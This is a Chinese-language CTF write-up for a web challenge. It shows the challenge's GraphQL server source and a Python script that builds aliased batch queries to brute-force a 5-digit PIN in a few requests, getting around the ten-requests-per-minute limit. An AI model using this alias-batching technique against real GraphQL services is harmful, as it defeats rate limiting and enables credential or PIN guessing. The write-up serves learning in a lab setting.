前言
是国外比赛的题目呢
感谢Laffey在新生赛的供题
题目
一分钟只能查十次呢。怎么办呢?
一个文本框和提交按钮
源码
下载题目附件解压直接看源码
web.js
import fastify from 'fastify'
import mercurius from 'mercurius'
import { randomInt } from 'crypto'
import { readFile } from 'fs/promises'
const app = fastify({
logger: true
});
const index = await readFile('./index.html', 'utf-8');
const secret = randomInt(0, 10 ** 5); // 1 in a 100k??
let requests = 10;
setInterval(() => requests = 10, 60000);
await app.register(mercurius, {
schema: `type Query {
flag(pin: Int): String
}`,
resolvers: {
Query: {
flag: (_, { pin }) => {
if (pin != secret) {
return 'Wrong!';
}
return process.env.FLAG || 'corctf{test}';
}
}
},
routes: false
});
app.get('/', (req, res) => {
return res.header('Content-Type', 'text/html').send(index);
});
app.post('/', async (req, res) => {
if (requests <= 0) {
return res.send('no u')
}
requests --;
return res.graphql(req.body);
});
app.listen({ host: '0.0.0.0', port: 80 });
审计代码,可以看出来只要pin的值等于secret就可以获得flag了
但是secret的值是1到100000之间的随机数
我们只能考虑爆破,但是题目说了一分钟最多只能发送十次请求
Graphql
这道题的源码中导入了mercurius库,这是一个 Graphql 库
我们先了解一下什么是Graphql
一种用于 API 的查询语言
这里直接举个例子来理解这个语言的运行机制
查询的代码:
{
Giftia{
name
height
mass
}
}
返回的内容格式如下:
{
"Giftia":{
"name": "Isla",
"height": 150
"weight": "你知道的太多了"
}
}
很明显只要稍微修改一下查询的代码就可以获得不同的结果
解题过程
为了获得flag,我们需要在单个请求中发送大量请求
最终我们选择使用串行执行
当我们传入下面这种查询语句时,可以发现返回了多个查询结果
那么为了做到爆破,我们需要先准备payload,考虑到服务器性能有限,这里把100000次请求拆成10次10000发的请求
编写python脚本来生成payload集
for y in range(1, 11):
tenThousand = y
file = "out" + str(tenThousand) + ".txt"
output = ""
open(file, 'w').close
output = "{"
for x in range(10000 * (int(tenThousand) - 1), 10000 * int(tenThousand)):
output += ("a" + str(x) + ":flag(pin:" + str(x) + ")")
output += ("}")
f = open(file, "a")
f.write(output)
f.close()
运行后会生成10个txt文件
抓包分10组把10组payload传上去爆破
爆破出flag
后日谈
不愧是国外的比赛,你这是在出一种很新的东西
要学的还有好多ww